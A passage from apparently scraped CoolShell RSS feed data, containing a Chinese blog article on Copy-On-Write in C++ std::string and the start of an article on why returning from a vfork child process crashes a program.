CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Scott Meyers在《More Effective C++》中举了个例子，不知你是否还记得？在你还在上学的时候，你的父母要你不要看电视，而去复习功课，于是你把自己关在房间里，做出一副正在复习功课的样子，其实你在干着别的诸如给班上的某位女生写情书之类的事，而一旦你的父母出来在你房间要检查你是否在复习时，你才真正捡起课本看书。这就是“拖延战术”，直到你非要做的时候才去做。</p>\n<p>当然，这种事情在现实生活中时往往会出事，但其在编程世界中摇身一变，就成为了最有用的技术，正如C++中的可以随处声明变量的特点一样，Scott Meyers推荐我们，在真正需要一个存储空间时才去声明变量（分配内存），这样会得到程序在运行时最小的内存花销。执行到那才会去做分配内存这种比较耗时的工作，这会给我们的程序在运行时有比较好的性能。必竟，20%的程序运行了80%的时间。</p>\n<p>当然，拖延战术还并不只是这样一种类型，这种技术被我们广泛地应用着，特别是在操作系统当中，当一个程序运行结束时，操作系统并不会急着把其清除出内存，原因是有可能程序还会马上再运行一次（从磁盘把程序装入到内存是个很慢的过程），而只有当内存不够用了，才会把这些还驻留内存的程序清出。</p>\n<p>写时才拷贝（Copy-On-Write）技术，就是编程界“懒惰行为”——拖延战术的产物。举个例子，比如我们有个程序要写文件，不断地根据网络传来的数据写，如果每一次fwrite或是fprintf都要进行一个磁盘的I/O操作的话，都简直就是性能上巨大的损失，因此通常的做法是，每次写文件操作都写在特定大小的一块内存中（磁盘缓存），只有当我们关闭文件时，才写到磁盘上（这就是为什么如果文件不关闭，所写的东西会丢失的原因）。更有甚者是文件关闭时都不写磁盘，而一直等到关机或是内存不够时才写磁盘，Unix就是这样一个系统，如果非正常退出，那么数据就会丢失，文件就会损坏。</p>\n<p>呵呵，为了性能我们需要冒这样大的风险，还好我们的程序是不会忙得忘了还有一块数据需要写到磁盘上的，所以这种做法，还是很有必要的。</p>\n<p><span id=\"more-12199\"></span></p>\n<h4>STL类std::string的Copy-On-Write</h4>\n<p>在我们经常使用的STL标准模板库中的string类，也是一个具有写时才拷贝技术的类。C++曾在性能问题上被广泛地质疑和指责过，为了提高性能，STL中的许多类都采用了Copy-On-Write技术。这种偷懒的行为的确使使用STL的程序有着比较高要性能。</p>\n<p>这里，我想从C++类或是设计模式的角度为各位揭开Copy-On-Write技术在string中实现的面纱，以供各位在用C++进行类库设计时做一点参考。</p>\n<p>在讲述这项技术之前，我想简单地说明一下string类内存分配的概念。通过常，string类中必有一个私有成员，其是一个char*，用户记录从堆上分配内存的地址，其在构造时分配内存，在析构时释放内存。因为是从堆上分配内存，所以string类在维护这块内存上是格外小心的，string类在返回这块内存地址时，只返回const char*，也就是只读的，如果你要写，你只能通过string提供的方法进行数据的改写。</p>\n<h4>特性</h4>\n<p>由表及里，由感性到理性，我们先来看一看string类的Copy-On-Write的表面特征。让我们写下下面的一段程序：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;string&gt;\nusing namespace std;\n \nmain()\n{\n    string str1 = &quot;hello world&quot;;\n    string str2 = str1;\n\n    printf (&quot;Sharing the memory:/n&quot;);\n    printf (&quot;/tstr1&#039;s address: %x/n&quot;, str1.c_str() );\n    printf (&quot;/tstr2&#039;s address: %x/n&quot;, str2.c_str() );\n\n    str1[1]=&#039;q&#039;;\n    str2[1]=&#039;w&#039;;\n\n    printf (&quot;After Copy-On-Write:/n&quot;);\n    printf (&quot;/tstr1&#039;s address: %x/n&quot;, str1.c_str() );\n    printf (&quot;/tstr2&#039;s address: %x/n&quot;, str2.c_str() );\n\n    return 0;\n}</pre>\n<p>这个程序的意图就是让第二个<span lang=\"EN\">string</span>通过第一个<span lang=\"EN\">string</span>构造，然后打印出其存放数据的内存地址，然后分别修改<span lang=\"EN\">str1</span>和<span lang=\"EN\">str2</span>的内容，再查一下其存放内存的地址。程序的输出是这样的（我在<span lang=\"EN\">VC6.0</span>和<span lang=\"EN\">g++ 2.95</span>都得到了同样的结果）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">&gt; g++ -o stringTest stringTest.cpp\n&gt; ./stringTest\nSharing the memory:\n        str1&#039;s address: 343be9\n        str2&#039;s address: 343be9\nAfter Copy-On-Write:\n        str1&#039;s address: 3407a9\n        str2&#039;s address: 343be9</pre>\n<p>从结果中我们可以看到，在开始的两个语句后，<span lang=\"EN\">str1</span>和<span lang=\"EN\">str2</span>存放数据的地址是一样的，而在修改内容后，<span lang=\"EN\">str1</span>的地址发生了变化，而<span lang=\"EN\">str2</span>的地址还是原来的。从这个例子，我们可以看到<span lang=\"EN\">string</span>类的<span lang=\"EN\">Copy-On-Write</span>技术。</p>\n<h4> 深入</h4>\n<p>在深入这前，通过上述的演示，我们应该知道在string类中，要实现写时才拷贝，需要解决两个问题，一个是内存共享，一个是Copy-On-Wirte，这两个主题会让我们产生许多疑问，还是让我们带着这样几个问题来学习吧：</p>\n<p style=\"padding-left: 30px;\">1、  Copy-On-Write的原理是什么？</p>\n<p style=\"padding-left: 30px;\">2、  string类在什么情况下才共享内存的？</p>\n<p style=\"padding-left: 30px;\">3、  string类在什么情况下触发写时才拷贝（Copy-On-Write）?</p>\n<p style=\"padding-left: 30px;\">4、  Copy-On-Write时，发生了什么？</p>\n<p style=\"padding-left: 30px;\">5、  Copy-On-Write的具体实现是怎么样的？</p>\n<p>喔，你说只要看一看STL中stirng的源码你就可以找到答案了。当然，当然，我也是参考了string的父模板类basic_string的源码。但是，如果你感到看STL的源码就好像看机器码，并严重打击你对C++自信心，乃至产生了自己是否懂C++的疑问，如果你有这样的感觉，那么还是继续往下看我的这篇文章吧。</p>\n<p>OK，让我们一个问题一个问题地探讨吧，慢慢地所有的技术细节都会浮出水面的。</p>\n<p>&nbsp;</p>\n<h4>Copy-On-Write的原理是什么？</h4>\n<p>有一定经验的程序员一定知道，Copy-On-Write一定使用了“引用计数”，是的，必然有一个变量类似于RefCnt。当第一个类构造时，string的构造函数会根据传入的参数从堆上分配内存，当有其它类需要这块内存时，这个计数为自动累加，当有类析构时，这个计数会减一，直到最后一个类析构时，此时的RefCnt为1或是0，此时，程序才会真正的Free这块从堆上分配的内存。</p>\n<p>是的，<strong>引用计数就是string类中写时才拷贝的原理</strong>！</p>\n<p>不过，问题又来了，这个RefCnt该存在在哪里呢？如果存放在string类中，那么每个string的实例都有各自的一套，根本不能共有一个RefCnt，如果是声明成全局变量，或是静态成员，那就是所有的string类共享一个了，这也不行，我们需要的是一个“民主和集中”的一个解决方法。这是如何做到的呢？呵呵，人生就是一个糊涂后去探知，知道后和又糊涂的循环过程。别急别急，在后面我会给你一一道来的。</p>\n<p>&nbsp;</p>\n<h4>string类在什么情况下才共享内存的？</h4>\n<p>&nbsp;</p>\n<p>这个问题的答案应该是明显的，根据常理和逻辑，如果一个类要用另一个类的数据，那就可以共享被使用类的内存了。这是很合理的，如果你不用我的，那就不用共享，只有你使用我的，才发生共享。</p>\n<p>&nbsp;</p>\n<p>使用别的类的数据时，无非有两种情况，1）以别的类构造自己，2）以别的类赋值。第一种情况时会触发拷贝构造函数，第二种情况会触发赋值操作符。这两种情况我们都可以在类中实现其对应的方法。对于第一种情况，只需要在string类的拷贝构造函数中做点处理，让其引用计数累加；同样，对于第二种情况，只需要重载string类的赋值操作符，同样在其中加上一点处理。</p>\n<p>唠叨几句：</p>\n<p><strong>1）构造和赋值的差别</strong></p>\n<p>对于前面那个例程中的这两句：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string str1 = &quot;hello world&quot;;\n\nstring str2 = str1;</pre>\n<p>不要以为有“=”就是赋值操作，其实，这两条语句等价于：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string str1 (&quot;hello world&quot;);   //调用的是构造函数\n\nstring str2 (str1);            //调用的是拷贝构造函数</pre>\n<p>如果str2是下面的这样情况：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string str2;      //调用参数默认为空串的构造函数：string str2(“”);\n\nstr2 = str1;     //调用str2的赋值操作：str2.operator=(str1);</pre>\n<p><strong>2) 另一种情况</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">char tmp[]=”hello world”;\n\nstring str1 = tmp;\n\nstring str2 = tmp;</pre>\n<p>这种情况下会触发内存的共享吗？想当然的，应该要共享。可是根据我们前面所说的共享内存的情况，两个string类的声明和初始语句并不符合我前述的两种情况，所以其并不发生内存共享。而且，C++现有特性也无法让我们做到对这种情况进行类的内存共享。</p>\n<h4>string类在什么情况下触发写时才拷贝（Copy-On-Write）?</h4>\n<p>哦，什么时候会发现写时才拷贝？很显然，当然是在共享同一块内存的类发生内容改变时，才会发生Copy-On-Write。比如string类的[]、=、+=、+、操作符赋值，还有一些string类中诸如insert、replace、append等成员函数,包括类的析构时。</p>\n<p>修改数据才会触发Copy-On-Write，不修改当然就不会改啦。这就是托延战术的真谛，非到要做的时候才去做。</p>\n<h4>Copy-On-Write时，发生了什么？</h4>\n<p>我们可能根据那个访问计数来决定是否需要拷贝，参看下面的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">If  ( RefCnt&gt;0 ) {\n    char* tmp =  (char*) malloc(strlen(_Ptr)+1);\n    strcpy(tmp, _Ptr);\n    _Ptr = tmp;\n}</pre>\n<p>&nbsp;</p>\n<p>上面的代码是一个假想的拷贝方法，如果有别的类在引用（检查引用计数来获知）这块内存，那么就需要把更改类进行“拷贝”这个动作。</p>\n<p>我们可以把这个拷的运行封装成一个函数，供那些改变内容的成员函数使用。</p>\n<h4>Copy-On-Write的具体实现是怎么样的？</h4>\n<p>最后的这个问题，我们主要解决的是那个“民主集中”的难题。请先看下面的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string h1 = “hello”;\nstring h2= h1;\nstring h3;\nh3 = h2;\n \nstring w1 = “world”;\nstring w2(“”);\nw2=w1;</pre>\n<p>很明显，我们要让h1、h2、h3共享同一块内存，让w1、w2共享同一块内存。因为，在h1、h2、h3中，我们要维护一个引用计数，在w1、w2中我们又要维护一个引用计数。</p>\n<p>如何使用一个巧妙的方法产生这两个引用计数呢？我们想到了string类的内存是在堆上动态分配的，既然共享内存的各个类指向的是同一个内存区，我们为什么不在这块区上多分配一点空间来存放这个引用计数呢？这样一来，所有共享一块内存区的类都有同样的一个引用计数，而这个变量的地址既然是在共享区上的，那么所有共享这块内存的类都可以访问到，也就知道这块内存的引用者有多少了。</p>\n<p>请看下图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12200\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/o_string.jpg\" alt=\"o_string\" width=\"409\" height=\"138\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/o_string.jpg 409w, https://coolshell.cn/wp-content/uploads/2014/12/o_string-300x101.jpg 300w\" sizes=\"(max-width: 409px) 100vw, 409px\" /></p>\n<p>于是，有了这样一个机制，每当我们为<span lang=\"EN\">string</span>分配内存时，我们总是要多分配一个空间用来存放这个引用计数的值，只要发生拷贝构造可是赋值时，这个内存的值就会加一。而在内容修改时，<span lang=\"EN\">string</span>类为查看这个引用计数是否为<span lang=\"EN\">0</span>，如果不为零，表示有人在共享这块内存，那么自己需要先做一份拷贝，然后把引用计数减去一，再把数据拷贝过来。下面的几个程序片段说明了这两个动作：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//构造函数（分存内存）\n    string::string(const char* tmp)\n{\n    _Len = strlen(tmp);\n    _Ptr = new char[_Len+1+1];\n    strcpy( _Ptr, tmp );\n    _Ptr[_Len+1]=0;  // 设置引用计数  \n}\n \n//拷贝构造（共享内存）\n    string::string(const string&amp; str)\n    {\n         if (*this != str){\n              this-&gt;_Ptr = str.c_str();   //共享内存\n              this-&gt;_Len = str.szie();\n              this-&gt;_Ptr[_Len+1] ++;  //引用计数加一\n         }\n}\n \n//写时才拷贝Copy-On-Write\nchar&amp; string::operator[](unsigned int idx)\n{\n    if (idx &gt; _Len || _Ptr == 0 ) {\n         static char nullchar = 0;\nreturn nullchar;\n          }\n   \n_Ptr[_Len+1]--;   //引用计数减一\n    char* tmp = new char[_Len+1+1];\n    strncpy( tmp, _Ptr, _Len+1);\n    _Ptr = tmp;\n    _Ptr[_Len+1]=0; // 设置新的共享内存的引用计数\n   \n    return _Ptr[idx];\n}\n\n//析构函数的一些处理\n~string()\n{ \n_Ptr[_Len+1]--;   //引用计数减一\n   \n         // 引用计数为0时，释放内存 \n    if (_Ptr[_Len+1]==0) {\n        delete[] _Ptr;\n         }\n \n}</pre>\n<p>哈哈，整个技术细节完全浮出水面。</p>\n<p>&nbsp;</p>\n<p>不过，这和STL中basic_string的实现细节还有一点点差别，在你打开STL的源码时，你会发现其取引用计数是通过这样的访问：_Ptr[-1]，标准库中，把这个引用计数的内存分配在了前面（我给出来的代码是把引用计数分配以了后面，这很不好），分配在前的好处是当string的长度扩展时，只需要在后面扩展其内存，而不需要移动引用计数的内存存放位置，这又节省了一点时间。</p>\n<p>STL中的string的内存结构就像我前面画的那个图一样，_Ptr指着是数据区，而RefCnt则在_Ptr-1 或是_Ptr[-1]处。</p>\n<h4>副作用</h4>\n<p>是谁说的“有太阳的地方就会有黑暗”？或许我们中的许多人都很迷信标准的东西，认为其是久经考验，不可能出错的。呵呵，千万不要有这种迷信，因为任何设计再好，编码再好的代码在某一特定的情况下都会有Bug，STL同样如此，string类的这个共享内存/写时才拷贝技术也不例外，而且这个Bug或许还会让你的整个程序crash掉！</p>\n<p>不信？！那么让我们来看一个测试案例。假设有一个动态链接库（叫myNet.dll或myNet.so）中有这样一个函数返回的是string类：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string GetIPAddress(string hostname)\n{\n    static string ip;\n    ……\n    ……\n    return ip;\n}</pre>\n<p>而你的主程序中动态地载入这个动态链接库，并调用其中的这个函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">main()\n{\n    //载入动态链接库中的函数\n    hDll = LoadLibraray(…..);\n    pFun =  GetModule(hDll, “GetIPAddress”);\n     \n    //调用动态链接库中的函数\n    string ip = (*pFun)(“host1”);\n    ……\n    ……\n    //释放动态链接库\n    FreeLibrary(hDll);\n    ……\n    cout &lt;&lt; ip &lt;&lt; endl;\n}</pre>\n<p>让我们来看看这段代码，程序以动态方式载入动态链接库中的函数，然后以函数指针的方式调用动态链接库中的函数，并把返回值放在一个string类中，然后释放了这个动态链接库。释放后，输入ip的内容。</p>\n<p>根据函数的定义，我们知道函数是“值返回”的，所以，函数返回时，一定会调用拷贝构造函数，又根据string类的内存共享机制，在主程序中变量ip是和函数内部的那个静态string变量共享内存（这块内存区是在动态链接库的地址空间的）。而我们假设在整个主程序中都没有对ip的值进行修改过。那么在当主程序释放了动态链接库后，那个共享的内存区也随之释放。所以，以后对ip的访问，必然做造成内存地址访问非法，造成程序crash。即使你在以后没有使用到ip这个变量，那么在主程序退出时也会发生内存访问异常，因为程序退出时，ip会析构，在析构时就会发生内存访问异常。</p>\n<p>内存访问异常，意味着两件事：1）无论你的程序再漂亮，都会因为这个错误变得暗淡无光，你的声誉也会因为这个错误受到损失。2）未来的一段时间，你会被这个系统级错误所煎熬（在C++世界中，找到并排除这种内存错误并不是一件容易的事情）。这是C/C++程序员永远的心头之痛，千里之堤，溃于蚁穴。而如果你不清楚string类的这种特征，在成千上万行代码中找这样一个内存异常，简直就是一场噩梦。</p>\n<p>备注：要改正上述的Bug，有很多种方法，这里提供一种仅供参考：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">string ip = (*pFun)(“host1”).cstr();</code></p>\n<h4>后记</h4>\n<p>&nbsp;</p>\n<p>文章到这里也应该结束了，这篇文章的主要有以下几个目的：</p>\n<p>1）向大家介绍一下写时才拷贝/内存共享这种技术。<br />\n2）以STL中的string类为例，向大家介绍了一种设计模式。<br />\n3）在C++世界中，无论你的设计怎么精巧，代码怎么稳固，都难以照顾到所有的情况。智能指针更是一个典型的例子，无论你怎么设计，都会有非常严重的BUG。<br />\n4）C++是一把双刃剑，只有了解了原理，你才能更好的使用C++。否则，必将引火烧身。如果你在设计和使用类库时有一种“玩C++就像玩火，必须千万小心”的感觉，那么你就入门了，等你能把这股“火”控制的得心应手时，那才是学成了。</p>\n<p><strong>更新：在最新的STL中，这个特性已经被去掉了。有一个原因是线程不安全！COW其实还是比较危险的。</strong></p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/C_String-150x150.jpg\" alt=\"Google图片搜索下的的C String\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_title\">Google图片搜索下的的C String</a></li><li ><a href=\"https://coolshell.cn/articles/3036.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"面向对象是个骗局？！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3036.html\" class=\"wp_rp_title\">面向对象是个骗局？！</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12199.html\">C++ STL string的Copy-On-Write技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12199.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-6.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 6 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=6\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 08 Jul 2020 09:30:37 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>vfork 挂掉的一个问题</title>\n\t\t<link>https://coolshell.cn/articles/12103.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12103.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 Nov 2014 16:48:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[fork]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[vfork]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12103</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在知乎上，有个人问了这样的一个问题——为什么vfork的子进程里用return，整个程序会挂掉，而且exit()不会？并给出了如下的代码，下面的代码一运行就挂掉...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12103.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-12105\" src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-298x300.gif\" alt=\"tux-fork\" width=\"199\" height=\"200\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-298x300.gif 298w, https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif 150w, https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-200x200.gif 200w, https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-268x270.gif 268w\" sizes=\"(max-width: 199px) 100vw, 199px\" />在知乎上，有个人问了这样的<a href=\"http://www.zhihu.com/question/26591968\" target=\"_blank\">一个问题</a>——为什么vfork的子进程里用return，整个程序会挂掉，而且exit()不会？并给出了如下的代码，下面的代码一运行就挂掉了，但如果把子进程的return改成exit(0)就没事。</p>\n<p>我受邀后本来不想回答这个问题的，因为这个问题明显就是RTFM的事，后来，发现这个问题放在那里好长时间，而挂在下面的几个答案又跑偏得比较严重，我觉得可能有些朋友看到那样的答案会被误导，所以就上去回答了一下这个问题。</p>\n<p>下面我把问题和我的回答发布在这里，也供更多的人查看。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\nint main(void) {\n    int var;\n    var = 88;\n    if ((pid = vfork()) &lt; 0) {\n        printf(&quot;vfork error&quot;);\n        exit(-1);\n    } else if (pid == 0) { /* 子进程 */\n        var++;\n        return 0;\n    }\n    printf(&quot;pid=%d, glob=%d, var=%d\\n&quot;, getpid(), glob, var);\n    return 0;\n}\n</pre>\n<p><span id=\"more-12103\"></span></p>\n<h4><b>基础知识</b></h4>\n<p>首先说一下fork和vfork的差别：</p>\n<ul>\n<li>fork 是 创建一个子进程，并把父进程的内存数据copy到子进程中。</li>\n<li>vfork是 创建一个子进程，并和父进程的内存数据share一起用。</li>\n</ul>\n<p>这两个的差别是，一个是copy，一个是share。（关于fork，可以参看酷壳之前的《<a title=\"一个fork的面试题\" href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">一道fork的面试题</a>》）</p>\n<p>你 man vfork 一下，你可以看到，vfork是这样的工作的，</p>\n<p style=\"padding-left: 30px;\">1）保证子进程先执行。<br />\n2）当子进程调用exit()或exec()后，父进程往下执行。</p>\n<p>那么，为什么要干出一个vfork这个玩意？ 原因在man page也讲得很清楚了：</p>\n<blockquote><p><strong>Historic Description</strong></p>\n<p>Under Linux, fork(2) is implemented using copy-on-write pages, so the only penalty incurred by fork(2) is the time and memory required to duplicate the parent’s page tables, and to create a unique task structure for the child. <b>However, in the bad old days a fork(2) would require making </b><b>a complete copy of the caller’s data space, often needlessly, since usually immediately afterwards an exec(3) is done. Thus, for greater efficiency, BSD introduced the vfork() system call, which did not fully copy the address space of the parent process, but borrowed the parent’s mem</b><b>ory and thread of control until a call to execve(2) or an exit occurred.</b> The parent process was suspended while the child was using its resources. The use of vfork() was tricky: for example, not modifying data in the parent process depended on knowing which variables are held in a register.</p></blockquote>\n<p>意思是这样的—— <b>起初只有fork，但是很多程序在fork一个子进程后就exec一个外部程序，于是fork需要copy父进程的数据这个动作就变得毫无意了，而且这样干还很重</b>（注：后来，fork做了优化，详见本文后面）<b>，所以，BSD搞出了个父子进程共享的 vfork，这样成本比较低。因此，vfork本就是为了exec而生。</b></p>\n<h4><b>为什么return会挂掉，exit()不会？</b></h4>\n<p>从上面我们知道，<b>结束子进程的调用是exit()而不是return，如果你在vfork中return了，那么，这就意味main()函数return了，注意因为函数栈父子进程共享，所以整个程序的栈就跪了。</b></p>\n<p>如果你在子进程中return，那么基本是下面的过程：</p>\n<p style=\"padding-left: 30px;\"><b>1）子进程的main() 函数 return了，于是程序的函数栈发生了变化。</b></p>\n<p style=\"padding-left: 30px;\"><b>2）而main()函数return后，通常会调用 exit()或相似的函数</b>（如：_exit()，exitgroup()）</p>\n<p style=\"padding-left: 30px;\"><b>3）这时，父进程收到子进程exit()，开始从vfork返回，但是尼玛，老子的栈都被你子进程给return干废掉了，你让我怎么执行？</b>（注：栈会返回一个诡异一个栈地址，对于某些内核版本的实现，直接报“栈错误”就给跪了，然而，对于某些内核版本的实现，于是有可能会再次调用main()，于是进入了一个无限循环的结果，直到vfork 调用返回 error）</p>\n<p>好了，现在再回到 return 和 exit，return会释放局部变量，并弹栈，回到上级函数执行。exit直接退掉。如果你用c++ 你就知道，return会调用局部对象的析构函数，exit不会。（注：exit不是系统调用，是glibc对系统调用 _exit()或_exitgroup()的封装）</p>\n<p>可见，<b>子进程调用exit() 没有修改函数栈，所以，父进程得以顺利执行</b>。</p>\n<p><strong>但是！注意！如果你调用 exit() 函数，还是会有问题的，正确的方法应该是调用 _exit() 函数，因为 exit() 函数 会 flush 并 close 所有的 标准 I/O ，这样会导致父进程受到影响。（这个情况在fork下也会受到影响，会导致一些被buffer的数据被flush两次，这里可以参看《<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">一个fork的面试题</a>》）</strong></p>\n<h4>关于fork的优化</h4>\n<p>很明显，fork太重，而vfork又太危险，所以，就有人开始优化fork这个系统调用。优化的技术用到了著名的<b>写时拷贝（COW）</b>。</p>\n<p>也就是说，<strong>对于fork后并不是马上拷贝内存，而是只有你在需要改变的时候，才会从父进程中拷贝到子进程中，这样fork后立马执行exec的成本就非常小了</strong>。所以，Linux的Man Page中并不鼓励使用vfork() ——</p>\n<blockquote><p>“ It is rather unfortunate that Linux revived this specter from the past. The BSD man page states: &#8220;This system call will be eliminated when proper system sharing mechanisms are implemented. Users should not depend on the memory sharing semantics of vfork() as it will, in that case, be made synonymous to fork(2).&#8221;”</p></blockquote>\n<p>于是，从BSD4.4开始，他们让vfork和fork变成一样的了</p>\n<p>但在后来，NetBSD 1.3 又把传统的vfork给捡了回来，说是vfork的性能在 Pentium Pro 200MHz 的机器（这机器好古董啊）上有可以提高几秒钟的性能。详情见——“<a class=\" wrap external\" href=\"http://www.netbsd.org/docs/kernel/vfork.html\" target=\"_blank\" rel=\"nofollow noreferrer\">NetBSD Documentation: Why implement traditional vfork()<i class=\"icon-external\"></i></a>”</p>\n<p>今天的Linux下，fork和vfork还是各是各的，不过，还是建议你不要用vfork，除非你非常关注性能。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br 